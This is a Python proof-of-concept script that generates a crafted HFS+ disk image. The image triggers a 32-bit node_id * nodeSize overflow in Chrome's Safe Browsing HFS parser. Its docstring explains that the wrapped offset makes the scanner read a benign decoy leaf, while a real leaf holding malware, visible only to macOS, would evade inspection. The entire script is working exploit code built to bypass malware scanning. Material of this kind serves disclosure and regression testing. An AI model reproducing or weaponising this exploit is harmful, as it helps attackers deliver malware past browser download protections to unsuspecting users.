#!/usr/bin/env python3
"""
Generate a minimal raw HFS+ partition image whose catalog B-tree header
triggers the 32-bit node_id * nodeSize overflow in
chrome/utility/safe_browsing/mac/hfs.cc:HFSBTreeIterator::SeekToNode().

    size_t offset = node_id * header_.nodeSize;   // uint32_t * uint16_t -> uint32_t

We set:
    nodeSize       = 8192
    totalNodes     = 0x00100002   (1048578, so node_id=524289 passes the < check)
    firstLeafNode  = 0x00080001   (524289)
    leafRecords    = 1

True 64-bit offset of node 524289 = 524289 * 8192 = 4294975488 (0x100002000).
Chrome computes it in uint32_t:      (524289 * 8192) & 0xFFFFFFFF = 8192.

So the vulnerable parser seeks to catalog-fork byte 8192 (physical node 1),
where we place a *decoy* leaf containing a single file record "decoy.bin".

  - Vulnerable build : enumerates "/decoy.bin" (wrong-node read).
  - Fixed build      : 64-bit offset 0x100002000 lies past the 16 KiB fork,
                       Seek() returns -1, iteration yields ZERO entries.

In a real attack the decoy is benign and the *real* leaf at byte
0x100002000 (delivered via a UDIF ZERO_FILL chunk) carries the malware
record that only macOS sees.

Output: poc.hfs   (raw HFS+ image, ~20 KiB)
"""

import struct
import sys

BE = ">"  # HFS+ is big-endian on disk

# ---- layout ---------------------------------------------------------------
BLOCK_SIZE      = 4096
CATALOG_START   = 1          # block index
CATALOG_BLOCKS  = 4          # 4 * 4096 = 16384 = two 8192-byte B-tree nodes
TOTAL_BLOCKS    = CATALOG_START + CATALOG_BLOCKS

NODE_SIZE       = 8192
TOTAL_NODES     = 0x00100002       # > FIRST_LEAF
FIRST_LEAF      = 0x00080001       # 524289 -> wraps to physical offset 8192
LEAF_RECORDS    = 1

assert (FIRST_LEAF * NODE_SIZE) & 0xFFFFFFFF == NODE_SIZE, "wrap target wrong"
assert FIRST_LEAF < TOTAL_NODES

# ---- struct builders ------------------------------------------------------
def fork_data(logical_size, total_blocks, extents):
    """HFSPlusForkData: u64 logicalSize, u32 clumpSize, u32 totalBlocks,
       8 x (u32 startBlock, u32 blockCount)."""
    buf  = struct.pack(BE + "QII", logical_size, 0, total_blocks)
    ext  = list(extents) + [(0, 0)] * (8 - len(extents))
    for s, c in ext:
        buf += struct.pack(BE + "II", s, c)
    assert len(buf) == 80
    return buf

def volume_header():
    """HFSPlusVolumeHeader (512 bytes, packed)."""
    vh  = struct.pack(BE + "HH", 0x482B, 4)             # signature 'H+', version
    vh += struct.pack(BE + "III", 0, 0, 0)              # attributes, lastMountedVersion, journalInfoBlock
    vh += struct.pack(BE + "IIII", 0, 0, 0, 0)          # create/modify/backup/checked dates
    vh += struct.pack(BE + "II", 1, 0)                  # fileCount, folderCount
    vh += struct.pack(BE + "III", BLOCK_SIZE, TOTAL_BLOCKS, 0)  # blockSize, totalBlocks, freeBlocks
    vh += struct.pack(BE + "IIII", 0, 0, 0, 100)        # nextAllocation, rsrcClump, dataClump, nextCatalogID
    vh += struct.pack(BE + "I", 0)                      # writeCount
    vh += struct.pack(BE + "Q", 0)                      # encodingsBitmap
    vh += b"\x00" * 32                                  # finderInfo[8]
    vh += fork_data(0, 0, [])                           # allocationFile
    vh += fork_data(0, 0, [])                           # extentsFile
    vh += fork_data(CATALOG_BLOCKS * BLOCK_SIZE,
                    CATALOG_BLOCKS,
                    [(CATALOG_START, CATALOG_BLOCKS)])  # catalogFile
    vh += fork_data(0, 0, [])                           # attributesFile
    vh += fork_data(0, 0, [])                           # startupFile
    assert len(vh) == 512, len(vh)
    return vh

def bt_node_descriptor(flink, blink, kind, height, num_records):
    """BTNodeDescriptor: u32 fLink, u32 bLink, i8 kind, u8 height,
       u16 numRecords, u16 reserved  (14 bytes)."""
    return struct.pack(BE + "IIbBHH", flink, blink, kind, height, num_records, 0)

def bt_header_rec():
    """BTHeaderRec (106 bytes, packed)."""
    hr  = struct.pack(BE + "H", 1)                  # treeDepth
    hr += struct.pack(BE + "I", FIRST_LEAF)         # rootNode
    hr += struct.pack(BE + "I", LEAF_RECORDS)       # leafRecords
    hr += struct.pack(BE + "I", FIRST_LEAF)         # firstLeafNode  <-- attacker value
    hr += struct.pack(BE + "I", FIRST_LEAF)         # lastLeafNode
    hr += struct.pack(BE + "H", NODE_SIZE)          # nodeSize       <-- attacker value
    hr += struct.pack(BE + "H", 516)                # maxKeyLength
    hr += struct.pack(BE + "I", TOTAL_NODES)        # totalNodes     <-- attacker value
    hr += struct.pack(BE + "I", 0)                  # freeNodes
    hr += struct.pack(BE + "H", 0)                  # reserved1
    hr += struct.pack(BE + "I", 0)                  # clumpSize
    hr += struct.pack(BE + "BB", 0, 0xCF)           # btreeType, keyCompareType
    hr += struct.pack(BE + "I", 2)                  # attributes (kBTBigKeys)
    hr += b"\x00" * (16 * 4)                        # reserved3[16]
    assert len(hr) == 106, len(hr)
    return hr

def catalog_file_record(name, parent_cnid, file_cnid):
    """One leaf record: HFSPlusCatalogKey (var-len) + HFSPlusCatalogFile (248 B).
       Chrome's iterator reads records sequentially after the BTNodeDescriptor;
       it skips keyLength then reads parentID, nodeName, then the data record."""
    name16 = name.encode("utf-16-be")
    key_body = struct.pack(BE + "I", parent_cnid)           # parentID
    key_body += struct.pack(BE + "H", len(name)) + name16   # HFSUniStr255 (var)
    key = struct.pack(BE + "H", len(key_body)) + key_body   # keyLength + body

    rec  = struct.pack(BE + "h", 2)        # recordType = kHFSPlusFileRecord
    rec += struct.pack(BE + "H", 0)        # flags
    rec += struct.pack(BE + "I", 0)        # reserved1
    rec += struct.pack(BE + "I", file_cnid)# fileID
    rec += struct.pack(BE + "IIIII", 0, 0, 0, 0, 0)  # 5 x dates
    # HFSPlusBSDInfo (16 B): ownerID, groupID, adminFlags, ownerFlags, fileMode, special
    rec += struct.pack(BE + "IIBBHI", 0, 0, 0, 0, 0o100644, 0)
    # FileInfo (16 B): fileType, fileCreator, finderFlags, Point(v,h), reserved
    rec += struct.pack(BE + "IIHhhH", 0, 0, 0, 0, 0, 0)
    # ExtendedFileInfo (16 B)
    rec += b"\x00" * 16
    rec += struct.pack(BE + "II", 0, 0)    # textEncoding, reserved2
    rec += fork_data(0, 0, [])             # dataFork (empty)
    rec += fork_data(0, 0, [])             # resourceFork
    assert len(rec) == 248, len(rec)
    return key + rec

# ---- assemble image -------------------------------------------------------
def build():
    img = bytearray(TOTAL_BLOCKS * BLOCK_SIZE)

    # Volume header at byte 1024.
    img[1024:1024 + 512] = volume_header()

    # Catalog fork: node 0 = header node.
    cat = CATALOG_START * BLOCK_SIZE
    hdr = bt_node_descriptor(flink=0, blink=0, kind=1,  # kBTHeaderNode
                             height=0, num_records=3)
    hdr += bt_header_rec()
    img[cat:cat + len(hdr)] = hdr

    # Catalog fork: node 1 = decoy leaf (where the wrapped offset lands).
    leaf_off = cat + NODE_SIZE
    leaf  = bt_node_descriptor(flink=0, blink=0, kind=-1,  # kBTLeafNode
                               height=1, num_records=1)
    leaf += catalog_file_record("decoy.bin", parent_cnid=1, file_cnid=16)
    img[leaf_off:leaf_off + len(leaf)] = leaf

    return bytes(img)


if __name__ == "__main__":
    out = sys.argv[1] if len(sys.argv) > 1 else "poc.hfs"
    data = build()
    with open(out, "wb") as f:
        f.write(data)
    wrapped = (FIRST_LEAF * NODE_SIZE) & 0xFFFFFFFF
    true64  = FIRST_LEAF * NODE_SIZE
    print(f"[+] wrote {out} ({len(data)} bytes)")
    print(f"[+] firstLeafNode = {FIRST_LEAF} (0x{FIRST_LEAF:08x})")
    print(f"[+] nodeSize      = {NODE_SIZE}")
    print(f"[+] totalNodes    = {TOTAL_NODES} (0x{TOTAL_NODES:08x})")
    print(f"[+] true 64-bit offset  = {true64} (0x{true64:x})")
    print(f"[+] uint32_t wrapped    = {wrapped} (0x{wrapped:x})  <- Chrome seeks here")
    print(f"[+] decoy leaf placed at catalog-fork byte {NODE_SIZE}")
